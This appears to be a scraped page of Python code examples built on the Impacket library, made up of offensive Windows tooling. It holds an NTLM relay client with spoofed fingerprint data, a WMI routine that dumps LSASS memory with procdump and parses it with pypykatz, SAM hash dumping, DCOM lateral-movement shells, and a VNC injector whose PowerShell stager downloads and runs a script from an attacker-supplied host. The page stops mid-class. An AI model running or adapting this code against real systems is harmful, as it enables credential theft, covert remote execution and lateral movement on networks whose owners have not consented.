    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(
            authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None
Example #13
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
        
        ## todo:
            ## Check OS 32 bit or 64 bit ##
            #cmmand = "wmic os get OSArchitecture"

            ### This is super hacky ###
            self.shell.do_put(PROC_PATH)
            command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            self.shell.do_get("lsass.%s.dmp"%(addr))
            self.shell.onecmd("del procdump64.exe")
            command = "del lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            ### but it still works ###

            #raw_input("Press ENTER to continue")

            print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read())

            if True:
                pass
            elif self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Example #14
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            remoteHost = str(addr)
            print(remoteHost + ": starting WMI")
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)

            print(remoteHost + ": deploying " + self.scanobj.surveyfile)
            self.shell.do_cd(self.scanobj.tgtdestdirectory)
            self.shell.do_put(self.scanobj.surveyfile)
            for reqFile in self.scanobj.requiredfiles:
                self.shell.do_put(reqFile)
                print(remoteHost + ": uploading " + reqFile)
            destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile.
                                                     rfind("/") + 1:]
            print(remoteHost + ": executing " + destsurveyfile)
            self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile +
                              " -verbose")
            print(remoteHost + ": getting results")
            f = self.shell.do_get("SurveyResults.xml")
            os.rename(f, "results/SurveyResults-" + addr + ".xml")
            self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml")
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(self.shell.get_alloutput())
            fh.close()
            print(remoteHost + ":  finished")
            self.__outputBuffer = u''
        except (Exception, KeyboardInterrupt), e:
            import traceback
            traceback.print_exc()
            logging.error(str(e))
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(str(e))
            fh.close()
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Example #15
0
class VNCEXEC:
    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__share = share
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.shell = None
        self.vnc_upload_path = None
        self.vnc_upload_filename = None
        self.full_file_path = None
        self.smbConnection = None
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')


    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
               share = i['shi1_netname'][:-1]
               if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$':
                 pass
               else:
                 logging.info('Bad share %s' % share)
                 continue
               try:
                   self.smbConnection.createDirectory(share,'ARTKOND')
               except:
                   # Can't create, pass
                   #import traceback
                   #print traceback.print_exc()
                   logging.critical("share '%s' is not writable." % share)
                   pass
               else:
                   logging.info('Found writable share %s' % share)
                   self.smbConnection.deleteDirectory(share,'ARTKOND')
                   return str(share)
        return None

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost()))
            raise

    def get_vnc_upload_path(self, share):
        if share == 'ADMIN$':
            return "C:\\windows\\temp\\"
        if len(share) == 2:
            if share[1] == '$':
                return share[0] + ":\\"

    def copy_file(self, file, tree, dst):

        logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename)
        
        pathname = string.replace(dst,'/','\\')
        try:
            self.smbConnection.putFile(tree, pathname, file.read)
        except:
            logging.critical("Error uploading file %s, aborting....." % dst)
            raise

    def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path):  
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                if self.__share is None:
                    shares = self.getShares()
                    self.__share = self.findWritableShare(shares)


                if self.__share is None:
                    logging.critical("Couldn't find writable share")
                    raise

                self.vnc_upload_path = self.get_vnc_upload_path(self.__share)

                if self.vnc_upload_path is None:
                    logging.critical("Can't deduct local path from share name " + self.__share)
                    raise

                self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat'

                encoded_bat = BatEncode(open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string)
                encoded_buffer = encoded_bat.get_buffer()
                mem_file = StringIO.StringIO(encoded_buffer)


                if self.__share == 'ADMIN$':
                    self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename
                else:
                    self.full_file_path = '\\' + self.vnc_upload_filename

                self.copy_file(mem_file , self.__share, self.full_file_path)
                fileCopied = True
            except:
                raise

    def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport):
        if bc_ip is None:
            bc_ip = ''

        self.launch_string = 'Invoke-Vnc '
        if contype == 'bind':
            pass
        elif contype == 'reverse':
            if bc_ip is None:
                print 'Ip addr required for reverse connection'
                sys.exit(1)
            else:
                self.launch_string += '-IpAddress ' + bc_ip 

        self.launch_string += ' -ConType ' + contype +' -Port ' + vncport  + ' -Password ' + vncpass
        logging.info("Using powershell launch string '" + self.launch_string + "'")

        if method == 'upload':
            logging.info("Connecting to SMB at " + addr)
            self.smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)


            dialect = self.smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")


            self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path)


            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(self.__share, win32Process, None)
                logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename)
                if contype == 'bind':
                    logging.info("VNC server should start at {0}:{1}".format(addr, vncport))
                else:
                    logging.info("Expect reverse VNC connection at port " + vncport)
                self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename)
                logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it")
                time.sleep(10)
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("File " + self.__share + self.full_file_path + " deleted")
            except  (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.info("Error on executing bat file. Trying to delete it before exiting")
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("{0} deleted".format(self.__share + self.full_file_path))
                if self.smbConnection is not None:
                    self.smbConnection.logoff()
                dcom.disconnect()
                sys.stdout.flush()
                sys.exit(1)

            if self.smbConnection is not None:
                self.smbConnection.logoff()
            dcom.disconnect()

        elif method == 'download':
            if bc_ip == '':
                logging.critical("-bc-ip needed when using download delivery method")
                sys.exit(1)

            ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format(bc_ip, httpport, self.launch_string)
            logging.info("Stager: {0}".format(ps1_line))
            command = str(PSOneliner(ps1_line))
            logging.debug(command)
            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(None, win32Process, None)
                self.shell.onecmd(command)
                while True:
                    pass
                dcom.disconnect()
            except (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.critical("Closing DCOM connection")
                dcom.disconnect()
                sys.stdout.flush()
                raise
Example #16
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Example #17
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Example #18
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
                                   0, [], [])
                iItem = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document', ))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ExecuteShellCommand', ))[0]
                self.shell = RemoteShellMMC20(
                    self.__share, (iMMC, pQuit),
                    (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ShellExecute', ))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                         (iActiveView, pExecuteShellCommand),
                                         smbConnection)

            if self.shell is not None:
                self.shell.do_exit('')

        except (Exception, KeyboardInterrupt) as e:
            #hit's here if an ADMIN is not logged in, but everything else is right: ERROR:root:RPC_E_DISCONNECTED - The object invoked has disconnected from its clients.
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Example #19
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)

            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Example #20
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"
    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.keepAliveHits = 1

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits +=1

    def killConnection(self):
